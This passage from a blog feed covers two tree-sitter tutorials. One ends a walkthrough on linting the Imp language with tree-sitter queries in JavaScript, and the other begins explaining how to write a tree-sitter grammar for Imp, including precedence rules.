<span class="k">import</span> <span class="nx">Imp</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">tree-sitter-imp</span><span class="dl">"</span><span class="p">;</span>
<span class="k">import</span> <span class="p">{</span> <span class="nx">readFileSync</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">"</span><span class="s2">fs</span><span class="dl">"</span><span class="p">;</span>

<span class="kd">const</span> <span class="p">{</span> <span class="nx">Query</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">Parser</span><span class="p">;</span>
<span class="kd">const</span> <span class="nx">parser</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Parser</span><span class="p">();</span>
<span class="nx">parser</span><span class="p">.</span><span class="nf">setLanguage</span><span class="p">(</span><span class="nx">Imp</span><span class="p">);</span>

<span class="kd">const</span> <span class="nx">args</span> <span class="o">=</span> <span class="nx">process</span><span class="p">.</span><span class="nx">argv</span><span class="p">.</span><span class="nf">slice</span><span class="p">(</span><span class="mi">2</span><span class="p">);</span>

<span class="k">if </span><span class="p">(</span><span class="nx">args</span><span class="p">.</span><span class="nx">length</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nf">error</span><span class="p">(</span><span class="dl">"</span><span class="s2">Usage: npm run lint &lt;file to lint&gt;</span><span class="dl">"</span><span class="p">);</span>
  <span class="nx">process</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// Load the file passed as an argument</span>
<span class="kd">const</span> <span class="nx">sourceCode</span> <span class="o">=</span> <span class="nf">readFileSync</span><span class="p">(</span><span class="nx">args</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="dl">"</span><span class="s2">utf8</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<h3 id="creating-the-parse-tree">Creating the parse tree</h3>
<p>We then create the parser, set the language to <code class="language-plaintext highlighter-rouge">Imp</code> and run the
parser on our source code to get out a syntax tree.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">parser</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Parser</span><span class="p">();</span>
<span class="nx">parser</span><span class="p">.</span><span class="nf">setLanguage</span><span class="p">(</span><span class="nx">Imp</span><span class="p">);</span>

<span class="c1">// Load the file passed as an argument</span>
<span class="kd">const</span> <span class="nx">tree</span> <span class="o">=</span> <span class="nx">parser</span><span class="p">.</span><span class="nf">parse</span><span class="p">(</span><span class="nx">sourceCode</span><span class="p">);</span>
</code></pre></div></div>

<p>If we have the following file:</p>

<div><pre><code><span style="font-weight: bold">x</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold">x</span> <span style="font-weight: bold; color: #4e4e4e">+</span> <span style="font-weight: bold; color: #875f00">1</span></code></pre></div>

<p>The corresponding output from <code class="language-plaintext highlighter-rouge">console.log(tree.rootNode.toString())</code>
would be:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(program (stmt (asgn name: (id) (plus (id) (num)))))
</code></pre></div></div>

<h3 id="identifying-queries-of-interest">Identifying queries of interest</h3>
<p>That was some preliminary work.  Now let’s see what queries would be
interesting to run over more realistic Imp programs.  Say we have:</p>

<div><pre><code><span style="font-weight: bold">z</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold">x</span>;
<span style="font-weight: bold">y</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold; color: #875f00">1</span>;
<span style="font-weight: bold">y</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold">y</span>;
<span style="color: #5f00d7">while</span> <span style="font-weight: bold; color: #4e4e4e">~</span>(<span style="font-weight: bold">z</span> <span style="font-weight: bold; color: #4e4e4e">=</span> <span style="font-weight: bold; color: #875f00">0</span>) <span style="color: #5f00d7">do</span>
  <span style="font-weight: bold">y</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold">y</span> <span style="font-weight: bold; color: #4e4e4e">*</span> <span style="font-weight: bold">z</span>;
  <span style="font-weight: bold">z</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold">z</span> <span style="font-weight: bold; color: #4e4e4e">-</span> <span style="font-weight: bold; color: #875f00">1</span>;
  <span style="font-weight: bold">x</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold">x</span>;
<span style="color: #5f00d7">end</span>;
<span style="font-weight: bold">x</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold">x</span>;
<span style="color: #5f00d7">if</span> <span style="font-weight: bold">x</span> <span style="font-weight: bold; color: #4e4e4e">=</span> <span style="font-weight: bold">y</span> <span style="color: #5f00d7">then</span> <span style="font-weight: bold">x</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold; color: #875f00">1</span> <span style="color: #5f00d7">else</span> <span style="font-weight: bold">x</span> <span style="font-weight: bold; color: #4e4e4e">:=</span> <span style="font-weight: bold; color: #875f00">1</span> <span style="color: #5f00d7">end</span></code></pre></div>

<p>There’s some redundancies for sure!  We can tell the user about
assignments such as <code class="language-plaintext highlighter-rouge">x := x</code> which are a no-op, and that last <code class="language-plaintext highlighter-rouge">if</code>
statement certainly looks redundant since both branches are the same
statement.</p>

<p>It’s simple to create a Query object in JavaScript and run it over the
root node.</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">redundantQuery</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Query</span><span class="p">(</span>
  <span class="nx">Imp</span><span class="p">,</span>
  <span class="dl">"</span><span class="s2">((asgn name: (id) @left _ @right) (#eq? @left @right)) @redundantAsgn</span><span class="dl">"</span>
<span class="p">);</span>

<span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">redundantQuery</span><span class="p">.</span><span class="nf">captures</span><span class="p">(</span><span class="nx">tree</span><span class="p">.</span><span class="nx">rootNode</span><span class="p">));</span>
</code></pre></div></div>

<p>This is what we get:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span>
  <span class="p">{</span>
    <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">redundantAsgn</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">node</span><span class="p">:</span> <span class="nx">AsgnNode</span> <span class="p">{</span>
      <span class="na">type</span><span class="p">:</span> <span class="nx">asgn</span><span class="p">,</span>
      <span class="na">startPosition</span><span class="p">:</span> <span class="p">{</span><span class="na">row</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span>
      <span class="na">endPosition</span><span class="p">:</span> <span class="p">{</span><span class="na">row</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">6</span><span class="p">},</span>
      <span class="na">childCount</span><span class="p">:</span> <span class="mi">3</span><span class="p">,</span>
    <span class="p">}</span>
  <span class="p">},</span>
  <span class="p">{</span>
    <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">left</span><span class="dl">'</span><span class="p">,</span>
    <span class="na">node</span><span class="p">:</span> <span class="nx">IdNode</span> <span class="p">{</span>
      <span class="na">type</span><span class="p">:</span> <span class="nx">id</span><span class="p">,</span>
      <span class="na">startPosition</span><span class="p">:</span> <span class="p">{</span><span class="na">row</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">0</span><span class="p">},</span>
      <span class="na">endPosition</span><span class="p">:</span> <span class="p">{</span><span class="na">row</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">1</span><span class="p">},</span>
      <span class="na">childCount</span><span class="p">:</span> <span class="mi">0</span><span class="p">,</span>
    <span class="p">}</span>
  <span class="p">},</span>
  <span class="c1">// etc...</span>
<span class="p">]</span>
</code></pre></div></div>

<p>Ok, that’s a lot of detail!  Notice that every capture name was
reported along with what type of node matched and the start and end of
the match.  Some tools might want this information, but for us it’s
enough to report only the start of the match and the text that the
match corresponded to:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Given a raw list of captures, extract the row, column and text.</span>
<span class="kd">function</span> <span class="nf">formatCaptures</span><span class="p">(</span><span class="nx">tree</span><span class="p">,</span> <span class="nx">captures</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nx">captures</span><span class="p">.</span><span class="nf">map</span><span class="p">((</span><span class="nx">c</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">node</span> <span class="o">=</span> <span class="nx">c</span><span class="p">.</span><span class="nx">node</span><span class="p">;</span>
    <span class="k">delete</span> <span class="nx">c</span><span class="p">.</span><span class="nx">node</span><span class="p">;</span>
    <span class="nx">c</span><span class="p">.</span><span class="nx">text</span> <span class="o">=</span> <span class="nx">tree</span><span class="p">.</span><span class="nf">getText</span><span class="p">(</span><span class="nx">node</span><span class="p">);</span>
    <span class="nx">c</span><span class="p">.</span><span class="nx">row</span> <span class="o">=</span> <span class="nx">node</span><span class="p">.</span><span class="nx">startPosition</span><span class="p">.</span><span class="nx">row</span><span class="p">;</span>
    <span class="nx">c</span><span class="p">.</span><span class="nx">column</span> <span class="o">=</span> <span class="nx">node</span><span class="p">.</span><span class="nx">startPosition</span><span class="p">.</span><span class="nx">column</span><span class="p">;</span>
    <span class="k">return</span> <span class="nx">c</span><span class="p">;</span>
  <span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Now we get something more concise:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">redundantAsgn</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">y := y</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">0</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">left</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">y</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">0</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">right</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">y</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">5</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">redundantAsgn</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">x := x</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">6</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">2</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">left</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">6</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">2</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">right</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">6</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">7</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">redundantAsgn</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">x := x</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">8</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">0</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">left</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">8</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">0</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">name</span><span class="p">:</span> <span class="dl">'</span><span class="s1">right</span><span class="dl">'</span><span class="p">,</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">x</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">8</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">5</span> <span class="p">}</span>
<span class="p">]</span>
</code></pre></div></div>

<p>And of course, it’s trivial to filter out the captures corresponding
to a given name:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Get the captures corresponding to a capture name</span>
<span class="kd">function</span> <span class="nf">capturesByName</span><span class="p">(</span><span class="nx">tree</span><span class="p">,</span> <span class="nx">query</span><span class="p">,</span> <span class="nx">name</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">return</span> <span class="nf">formatCaptures</span><span class="p">(</span>
    <span class="nx">tree</span><span class="p">,</span>
    <span class="nx">query</span><span class="p">.</span><span class="nf">captures</span><span class="p">(</span><span class="nx">tree</span><span class="p">.</span><span class="nx">rootNode</span><span class="p">).</span><span class="nf">filter</span><span class="p">((</span><span class="nx">x</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="nx">x</span><span class="p">.</span><span class="nx">name</span> <span class="o">==</span> <span class="nx">name</span><span class="p">)</span>
  <span class="p">).</span><span class="nf">map</span><span class="p">((</span><span class="nx">x</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
    <span class="k">delete</span> <span class="nx">x</span><span class="p">.</span><span class="nx">name</span><span class="p">;</span>
    <span class="k">return</span> <span class="nx">x</span><span class="p">;</span>
  <span class="p">});</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Passing <code class="language-plaintext highlighter-rouge">tree</code>, <code class="language-plaintext highlighter-rouge">redundantQuery</code> and <code class="language-plaintext highlighter-rouge">"redundantAsgn"</code> to
<code class="language-plaintext highlighter-rouge">capturesByName</code>, we get:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span>
  <span class="p">{</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">y := y</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">2</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">0</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">x := x</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">6</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">2</span> <span class="p">},</span>
  <span class="p">{</span> <span class="na">text</span><span class="p">:</span> <span class="dl">'</span><span class="s1">x := x</span><span class="dl">'</span><span class="p">,</span> <span class="na">row</span><span class="p">:</span> <span class="mi">8</span><span class="p">,</span> <span class="na">column</span><span class="p">:</span> <span class="mi">0</span> <span class="p">}</span>
<span class="p">]</span>
</code></pre></div></div>

<p>Now you can process these objects however you like.  Note
that tree-sitter uses zero-based indexing for the rows and columns,
and you might want to offset it by one so users can locate it in their
text editor.  Here’s a simple approach:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Lint the tree with a given message, query and match name</span>
<span class="kd">function</span> <span class="nf">lint</span><span class="p">(</span><span class="nx">tree</span><span class="p">,</span> <span class="nx">msg</span><span class="p">,</span> <span class="nx">query</span><span class="p">,</span> <span class="nx">name</span><span class="p">)</span> <span class="p">{</span>
  <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nx">msg</span><span class="p">);</span>
  <span class="nx">console</span><span class="p">.</span><span class="nf">log</span><span class="p">(</span><span class="nf">capturesByName</span><span class="p">(</span><span class="nx">tree</span><span class="p">,</span> <span class="nx">query</span><span class="p">,</span> <span class="nx">name</span><span class="p">));</span>
<span class="p">}</span>

<span class="nf">lint</span><span class="p">(</span><span class="nx">tree</span><span class="p">,</span> <span class="dl">"</span><span class="s2">Redundant assignments:</span><span class="dl">"</span><span class="p">,</span> <span class="nx">redundantQuery</span><span class="p">,</span> <span class="dl">"</span><span class="s2">redundantAsgn</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div></div>

<p>We get the output:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Redundant assignments:
[
  { text: 'y := y', row: 2, column: 0 },
  { text: 'x := x', row: 6, column: 2 },
  { text: 'x := x', row: 8, column: 0 }
]
</code></pre></div></div>

<p>As a bonus, we can reuse our existing code for new queries!  Here’s a
couple:</p>

<ul>
  <li>Redundant if
    <div class="language-scheme highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">((</span><span class="k">if</span> <span class="nv">condition:</span> <span class="nv">_</span> <span class="nv">@c</span> <span class="nv">consequent:</span> <span class="nv">_</span> <span class="nv">@l</span> <span class="nv">alternative:</span> <span class="nv">_</span> <span class="nv">@r</span><span class="p">)</span>
 <span class="p">(</span><span class="o">#</span><span class="nv">eq?</span> <span class="nv">@l</span> <span class="nv">@r</span><span class="p">))</span> <span class="nv">@redundantIf</span>
</code></pre></div>    </div>
  </li>
  <li>Addition with 0
    <div class="language-scheme highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">((</span><span class="nf">plus</span> <span class="p">(</span><span class="nf">num</span><span class="p">)</span> <span class="nv">@n</span><span class="p">)</span> <span class="p">(</span><span class="o">#</span><span class="nv">eq?</span> <span class="nv">@n</span> <span class="mi">0</span><span class="p">))</span> <span class="nv">@addzero</span>
</code></pre></div>    </div>
  </li>
</ul>

<p>Here are some exercises to try:</p>

<ul>
  <li>Recognize while loops containing only a <code class="language-plaintext highlighter-rouge">skip</code> statement</li>
  <li>Recognize constant arithmetic and boolean expressions</li>
  <li>Recognize unused variables (those that only appear on the left-hand
side of an assignment)</li>
</ul>

<h2 id="final-thoughts-and-challenges">Final thoughts and challenges</h2>
<p>To appreciate it more, think about what we would have done had we not
used tree-sitter.  The process might have gone something like this:</p>

<ol>
  <li>Write the parser and generate an AST in a given language or parser
generator</li>
  <li>Annotate the AST with location information from the source file</li>
  <li>Traverse the AST looking for matches of interest</li>
  <li>Report them to the user</li>
</ol>

<p>Note that there are several steps were things could go wrong or block
us later.  If we wrote the parser, say in Haskell using
<a href="https://hackage.haskell.org/package/megaparsec">megaparsec</a>, we would
have not been able to recover the rows and columns of the syntax
elements (or painfully write an abstract data type with annotations).
And even worse, what happens when the user supplies syntactically
invalid input?  Some parser generators based on GLR parsing such as
<a href="https://www.gnu.org/software/bison/manual/html_node/Error-Recovery.html">Bison</a>
allow for error recovery, but then we’d need to define a custom
<code class="language-plaintext highlighter-rouge">error</code> token and come up with ad-hoc logic for dealing with it.</p>

<p>Tree-sitter separates these design choices into orthogonal ones.  A
tree-sitter grammar is easy to write and reusable in any language with
a C FFI.  The error recovery logic is pervasive yet unwritten, and the
resulting AST is annotated with locations and can be easily
pattern-matched over with queries.</p>

<p>Should we throw tree-sitter at every problem involving parsing?  No!
There are certainly some areas where we need syntax trees without
error nodes, and sometimes the incremental parsing is not necessary.
For instance, if we’re working with a build farm, we don’t want to
build package definitions with syntax errors!</p>

<p>Beyond linting, tree-sitter has also found applications in
GitHub’s <a href="https://dl.acm.org/doi/pdf/10.1145/3487019.3487022">search-based code navigation</a> which also
makes use of the query language to <a href="https://tree-sitter.github.io/tree-sitter/code-navigation-systems">annotate the AST with
tags</a>.</p>]]></content><author><name>Ben</name><email>siraben@siraben.dev</email></author><category term="parsing" /><category term="tree-sitter" /><category term="linting" /><summary type="html"><![CDATA[This article was discussed on Hacker News.]]></summary></entry><entry><title type="html">How to write a tree-sitter grammar in an afternoon</title><link href="https://siraben.dev/2022/03/01/tree-sitter.html" rel="alternate" type="text/html" title="How to write a tree-sitter grammar in an afternoon" /><published>2022-03-01T17:21:00+00:00</published><updated>2022-03-01T17:21:00+00:00</updated><id>https://siraben.dev/2022/03/01/tree-sitter</id><content type="html" xml:base="https://siraben.dev/2022/03/01/tree-sitter.html"><![CDATA[<p><em>This article was discussed on <a href="https://news.ycombinator.com/item?id=30661127">Hacker
News</a>.</em></p>

<p>Every passing decade, it seems as if the task of implementing a new
programming language becomes easier.  Parser generators take the pain
out of parsing, and can give us informative error messages.
Expressive type systems in the host language let us pattern-match over
a recursive syntax tree with ease, letting us know if we’ve forgotten
a case.  Property-based testing and fuzzers let us test edge cases
faster and more completely than ever.  Compiling to intermediate
languages such as LLVM give us reasonable performance to even the
simplest languages.</p>

<p>Say you have just created a new language leveraging the latest and
greatest technologies in programming language land, what should you
turn your sights to next, if you want people to actually adopt and use
it?  I’d argue that it should be writing a
<a href="https://tree-sitter.github.io/tree-sitter/">tree-sitter</a> grammar.
Before I elaborate what tree-sitter is, here’s what you’ll be able to
achieve much more easily:</p>

<ul>
  <li>syntax highlighting</li>
  <li>pretty-printing</li>
  <li>linting</li>
  <li>IDE-like features in your editor (autocomplete, structure
navigation, jump to definition)</li>
</ul>

<p>And the best part is that you can do it in an afternoon!  In this post
we’ll write a grammar for
<a href="https://softwarefoundations.cis.upenn.edu/lf-current/Imp.html">Imp</a>,
a simple imperative language, and you can get the source code
<a href="https://github.com/siraben/tree-sitter-imp">here</a>.</p>

<p>This post was inspired by my research in improving the developer
experience for
<a href="https://github.com/siraben/tree-sitter-formula">FORMULA</a> and
<a href="https://github.com/siraben/tree-sitter-promela">Spin</a>.</p>

<h2 id="why-tree-sitter">Why tree-sitter?</h2>
<p>Tree-sitter is a parser generator tool.  Unlike other parser
generators, it especially excels at <em>incremental parsing</em>, creating
useful parse trees even when the input has syntax errors.  And best of
all, it’s extremely fast and dependency-free, letting you parse the
entirety of the file on every keystroke in milliseconds.  The
generated parser is written in C, and there are many
<a href="https://tree-sitter.github.io/tree-sitter/#language-bindings">bindings</a>
to other programming languages, so you can programmatically walk the
tree as well.</p>

<h2 id="a-tree-sitter-grammar-for-imp">A tree-sitter grammar for Imp</h2>
<p><a href="https://softwarefoundations.cis.upenn.edu/lf-current/Imp.html">Imp</a>
is a simple imperative language often used as an illustrative example
in programming language theory.  It has arithmetic expressions,
boolean expressions and different kinds of statements including
sequencing, conditionals and while loops.</p>

<p>Here’s an Imp program that computes the factorial of <code class="language-plaintext highlighter-rouge">x</code> and places the
result in <code class="language-plaintext highlighter-rouge">y</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// Compute factorial
z := x;
y := 1;
while ~(z = 0) do
  y := y * z;
  z := z - 1;
end
</code></pre></div></div>

<h3 id="setting-up-the-project">Setting up the project</h3>
<p>Check out the official <a href="https://tree-sitter.github.io/tree-sitter/creating-parsers#getting-started">tree-sitter development
guide</a>.</p>

<p>If you’re using Nix, run <code class="language-plaintext highlighter-rouge">nix shell nixpkgs#tree-sitter
nixpkgs#nodejs-16-x</code> to enter a shell with the necessary dependencies.</p>

<p>Note that you don’t need to have it set up to continue reading this
post, since I’ll provide the terminal output at appropriate points.</p>

<h3 id="writing-the-grammar">Writing the grammar</h3>
<h4 id="expressions">Expressions</h4>
<p>First we follow the grammar for expressions given in the chapter.
Here it is for reference.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>a := nat
   | id
   | a + a
   | a - a
   | a * a
   | (a)

b := true
   | false
   | a = a
   | a &lt;= a
   | ~b
   | b &amp;&amp; b
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">a</code> corresponds to arithmetic expressions and <code class="language-plaintext highlighter-rouge">b</code> corresponds to
boolean expressions.</p>

<p>The easiest things to handle are numbers and variables.  We can add
the following rules:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">id</span><span class="p">:</span> <span class="nx">$</span> <span class="o">=&gt;</span> <span class="sr">/</span><span class="se">[</span><span class="sr">a-z</span><span class="se">]</span><span class="sr">+/</span><span class="p">,</span>
<span class="nx">nat</span><span class="p">:</span> <span class="nx">$</span> <span class="o">=&gt;</span> <span class="sr">/</span><span class="se">[</span><span class="sr">0-9</span><span class="se">]</span><span class="sr">+/</span><span class="p">,</span>
</code></pre></div></div>

<p>The grammar for arithmetic expressions can easily be translated:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">program</span><span class="p">:</span> <span class="nx">$</span> <span class="o">=&gt;</span> <span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span>
<span class="nx">aexp</span><span class="p">:</span> <span class="nx">$</span> <span class="o">=&gt;</span> <span class="nf">choice</span><span class="p">(</span>
    <span class="sr">/</span><span class="se">[</span><span class="sr">0-9</span><span class="se">]</span><span class="sr">+/</span><span class="p">,</span>
    <span class="sr">/</span><span class="se">[</span><span class="sr">a-z</span><span class="se">]</span><span class="sr">+/</span><span class="p">,</span>
    <span class="nf">seq</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span><span class="dl">'</span><span class="s1">+</span><span class="dl">'</span><span class="p">,</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">),</span>
    <span class="nf">seq</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span><span class="dl">'</span><span class="s1">-</span><span class="dl">'</span><span class="p">,</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">),</span>
    <span class="nf">seq</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span><span class="dl">'</span><span class="s1">*</span><span class="dl">'</span><span class="p">,</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">),</span>
    <span class="nf">seq</span><span class="p">(</span><span class="dl">'</span><span class="s1">(</span><span class="dl">'</span><span class="p">,</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span><span class="dl">'</span><span class="s1">)</span><span class="dl">'</span><span class="p">),</span>
<span class="p">),</span>
</code></pre></div></div>

<h4 id="defining-precedence-and-associativity">Defining precedence and associativity</h4>
<p>Let’s try to compile it!  Here’s what tree-sitter outputs:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Unresolved conflict for symbol sequence:

  aexp  '+'  aexp  •  '+'  …

Possible interpretations:

  1:  (aexp  aexp  '+'  aexp)  •  '+'  …
  2:  aexp  '+'  (aexp  aexp  •  '+'  aexp)

Possible resolutions:

  1:  Specify a left or right associativity in `aexp`
  2:  Add a conflict for these rules: `aexp`
</code></pre></div></div>

<p>Tree-sitter immediately tells that our rules are <em>ambiguous</em>, that is,
the same sequence of tokens can have different parse trees.  We don’t
want to be ambiguous when writing code!  Let’s make everything
left-associative:</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">program</span><span class="p">:</span> <span class="nx">$</span> <span class="o">=&gt;</span> <span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span>
<span class="nx">aexp</span><span class="p">:</span> <span class="nx">$</span> <span class="o">=&gt;</span> <span class="nf">choice</span><span class="p">(</span>
    <span class="sr">/</span><span class="se">[</span><span class="sr">0-9</span><span class="se">]</span><span class="sr">+/</span><span class="p">,</span>
    <span class="sr">/</span><span class="se">[</span><span class="sr">a-z</span><span class="se">]</span><span class="sr">+/</span><span class="p">,</span>
    <span class="nx">prec</span><span class="p">.</span><span class="nf">left</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="nf">seq</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span><span class="dl">'</span><span class="s1">+</span><span class="dl">'</span><span class="p">,</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">)),</span>
    <span class="nx">prec</span><span class="p">.</span><span class="nf">left</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="nf">seq</span><span class="p">(</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">,</span><span class="dl">'</span><span class="s1">-</span><span class="dl">'</span><span class="p">,</span><span class="nx">$</span><span class="p">.</span><span class="nx">aexp</span><span class="p">)),</span>
